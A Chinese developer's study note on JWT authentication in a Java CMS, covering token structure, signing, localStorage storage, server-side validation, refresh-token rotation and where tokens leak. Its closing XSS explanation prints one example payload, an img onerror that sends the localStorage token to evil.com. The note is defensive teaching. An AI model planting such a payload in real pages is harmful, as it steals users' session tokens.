cms项目细节-jwt
关于jwt
JWT 是一个用 . 连接的字符串,三段分别是 header.payload.signature:
header:{"alg":"HS256","typ":"JWT"},说明用什么算法签名。
payload:身份信息 claims。本项目里管理员 token 是:
{
"sub": "1", // userId
"ucode": "10001", // 用户编码
"username": "admin",
"acode": "cn", // 当前站点分区
"iat": 1724000000, // 签发时间
"exp": 1724086400 // 过期时间,默认 24h
}signature:HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)。
重点:payload 只是 base64url 编码,不是加密,任何人解码都能看到;签名的作用是保证内容没被篡改。
怎么生成
登录成功时,JwtTokenProvider.createToken() 用 jjwt 生成:
Jwts.builder()
.subject(String.valueOf(user.getId())) // sub=1
.claim("ucode", user.getUcode())
.claim("username", user.getUsername())
.claim("acode", user.getAcode())
.issuedAt(now)
.expiration(expiry) // now + 24h
.signWith(key()) // 用 app.jwt.secret 做 HS256 签名
.compact();密钥来自配置 app.jwt.secret,key() 把它按 UTF-8 转成 SecretKey。签名密钥是服务端唯一的秘密,前端只有 token 没有密钥,所以前端改不了 payload,改了验签就会失败。
怎么存
登录接口返回 {token, user},前端 login.html 存进 localStorage:
localStorage.setItem('token', data.data.token);
localStorage.setItem('user', JSON.stringify(data.data.user));之后 app.js 的 api() 每次请求自动加请求头:
headers.Authorization = 'Bearer ' + token();UEditor 上传走 XMLHttpRequest,所以单独包装了 XMLHttpRequest.send,请求 /api/ueditor 时也会自动带 Authorization。
怎么被解析
每次请求先进 JwtAuthenticationFilter:
String header = request.getHeader("Authorization");
if (header != null && header.startsWith("Bearer ")) {
Claims claims = tokenProvider.parse(header.substring(7));
Integer userId = Integer.valueOf(claims.getSubject());
...
}parse() 内部:
Jwts.parser()
.verifyWith(key()) // 用同一个 secret 验签
.build()
.parseSignedClaims(token) // 校验 exp,解析出 Claims
.getPayload();如果 token 被篡改,验签抛异常;如果过期,exp 校验失败抛异常。过滤器捕获后清空 SecurityContext,请求继续走,最终被 Spring Security 返回 401。
解析出来什么,然后做什么
解析出来的是 Claims,关键字段:sub(userId)、ucode、username、acode、type(会员才有)、iat/exp。
但过滤器不会直接信任这些值,而是拿 userId 重新查数据库:
SysUser user = userMapper.selectById(userId);
if (user != null && "1".equals(user.getStatus())) {
AdminUser adminUser = new AdminUser();
adminUser.setId(user.getId());
adminUser.setUcode(user.getUcode());
adminUser.setUsername(user.getUsername());
adminUser.setAcode(claims.get("acode", String.class)); // 站点分区来自 token
adminUser.setLevels(loadLevels(user.getUcode())); // 权限点重新查库
SecurityContextHolder.getContext().setAuthentication(
new UsernamePasswordAuthenticationToken(adminUser, null, adminUser.getAuthorities()));
}一句话:token 负责证明你是谁,数据库负责确认你现在还能不能用、权限有没有变。这样用户被禁用或权限被改后,下一次请求立即生效。
Controller 怎么拿当前用户
后续代码不再解析 token,直接从 SecurityContext 取:
AdminUser user = SecurityUtils.currentUser();
user.getAcode(); // 按站点分区过滤数据
user.getUsername(); // 写审计字段- 为什么 filter 里还查库:token 可能签发很久了,用户可能被禁用、权限可能被改,所以每次都加载最新状态。
- 为什么 JWT 无法主动踢人:服务端无状态,没有会话可删,只能等过期,或用黑名单/refresh token。
- 为什么密钥要够长:HS256 密钥太短容易被暴力破解,演示配置只是本地用,生产应放环境变量或密钥管理服务。
- 为什么用 localStorage:方便纯前端演示;生产更推荐 httpOnly cookie 或短 token + refresh token,降低 XSS 窃取风险。
短token+refresh token
把“登录凭证”拆成两个:
| Token | 生命周期 | 用途 | 存放 |
|---|---|---|---|
| access token | 15 分钟到 1 小时 | 调业务接口 | 前端内存变量(最好),别放 localStorage |
| refresh token | 7 到 30 天 | 只用来换新 access token | HttpOnly + Secure cookie,或服务端数据库/Redis |
完整流程:
- 登录 → 返回 access token + refresh token
- 业务请求 → Authorization: Bearer access token
- access 过期 → 后端返回 401
- 前端收到 401 → 调 /api/auth/refresh,带 refresh token
- 服务端校验 refresh → 签发新 access token
- 前端用新 access 重放刚才失败的请求
- 登出/改密 → 服务端删掉 refresh token,登录态真正失效
为什么这样能解决“JWT 无法踢人”:
- access token 仍然是无状态 JWT,但有效期短,泄露后的危害窗口小。
- refresh token 变成可撤销凭证:服务端保存它,登出或改密时删除;下次刷新时发现已删就拒绝。等于把“踢人”能力从无状态 JWT 转移到了可撤销的 refresh token 上。
- 更严格的做法是 refresh token rotation:每次刷新都发一个新 refresh 并作废旧 refresh。如果旧 refresh 被偷,攻击者只能用一次,服务端发现重放还能强制下线整个会话。
acess周期短,过期就refresh,这样泄露影响小且可控
access 泄露后的有效期内,攻击者照样能调用业务接口,只是窗口短。所以还要配合接口限流、异常登录检测,而不是只靠短周期。
安全重心在 refresh token:refresh 是长命凭证(7-30 天)。如果 refresh 也泄露,攻击者可以不停刷新出新的 access,等于长期有效。所以 refresh 必须放 HttpOnly cookie、服务端保存、支持撤销;如果 access 和 refresh 都放 localStorage,那整个方案等于白做。
更完整叫 refresh token rotation:每次刷新都发一个新的 refresh 并作废旧 refresh。就算攻击者偷到 refresh,也只能用一次,服务端发现旧 refresh 被重放还能强制下线整条会话
所以一句话:**“access 短周期 + 过期自动 refresh”压缩了泄露窗口,真正兜底的是 refresh 的安全存储、可撤销和旋转。**泄露 access 的影响被限制在几分钟内,refresh 才是需要重点保护的长期凭证。
我的疑问:token在发送请求的时候不是会在header里面吗,不是应该很容易泄露吗
解答:token 放 Header 本身不会让它“容易泄露”,真正的泄露点是别的。
分三层说:
1. 传输层面:HTTPS 已经加密整个请求
Authorization header 是请求的一部分,只要走 HTTPS,浏览器和服务器之间的数据是加密的,中间人抓包也只能看到 TLS 密文,看不到 header 里的 token。
所以“在 header 里”不等于“明文暴露”。真正危险的是走 HTTP 明文,那 cookie 也好、header 也好,都会被截获。这也是为什么生产环境必须强制 HTTPS。
2. 应用层面:第三方脚本默认碰不到你的 header
Authorization header 不是浏览器自动加的(不像 cookie 那样自动携带),而是你的 JS 代码在 fetch 时手动加的:
fetch('/api/xxx', { headers: { Authorization: 'Bearer ' + token() } })所以它只出现在“你的代码主动发出的请求”里。普通页面里的第三方脚本、广告脚本、恶意 iframe 都拿不到它。
3. 真正的泄露点是什么
- XSS:如果页面被注入脚本,攻击者能执行
localStorage.getItem('token'),然后自己发一个请求到攻击者服务器,把 token 带走。这是 localStorage 方案最大的风险,而不是 header 本身。 - 请求被发到了错误域名:如果你的代码里某个 URL 是拼接的、被注入或重定向到了恶意域名,token 会跟着请求头送到攻击者服务器。
- 服务端/网关日志:如果 Nginx、网关、Spring 把整个请求头打进日志,token 会留在日志里,日志泄露就等于 token 泄露。所以生产环境要配置“不记录 Authorization header”。
- token 放 URL:如果把 token 放 query 参数,会进浏览器历史、Referer、服务器访问日志,那才是真容易泄露。放 header 恰恰避免了这一点。
补充一个对比
Header 认证比 Cookie 认证在 CSRF 上更安全:
- Cookie 是浏览器自动携带的,恶意网站可以用
<form>诱导用户浏览器发跨站请求,cookie 会跟着去,形成 CSRF。 - Authorization header 是跨站 JS 无法自己加的(受 CORS 预检限制),所以攻击者不能伪造带正确 header 的跨站请求。
所以结论是:
token 放 Header + HTTPS = 正常且安全
真正的风险 = HTTP 明文 / XSS 偷 localStorage / 请求发到恶意域名 / 网关日志记录 header“token 在 Header 里不会因此泄露,因为 HTTPS 会加密整个请求;header 也不像 cookie 会自动携带,反而天然防 CSRF。真正要防的是 XSS 偷 token、错误域名、以及网关日志别记录 Authorization。”
XSS(Cross-Site Scripting,跨站脚本攻击)就是:攻击者想办法让你的网页执行他写的 JavaScript。因为代码是在你的域名、你的页面上下文里执行的,所以能读取这个页面能访问的数据,比如你的 token、cookie、用户信息,也能替你发请求。
富文本正文是典型的“存储型 XSS 高危入口”:管理员在 UEditor 里写内容,内容以 HTML 存库再渲染到前台。如果只做实体转义,攻击者存一段:
<img src="x" onerror="fetch('https://evil.com/?t='+localStorage.getItem('token'))">渲染时 onerror 就会被执行。所以正确做法是:富文本只放行白名单标签和属性,去掉事件属性,iframe 只允许可信域名。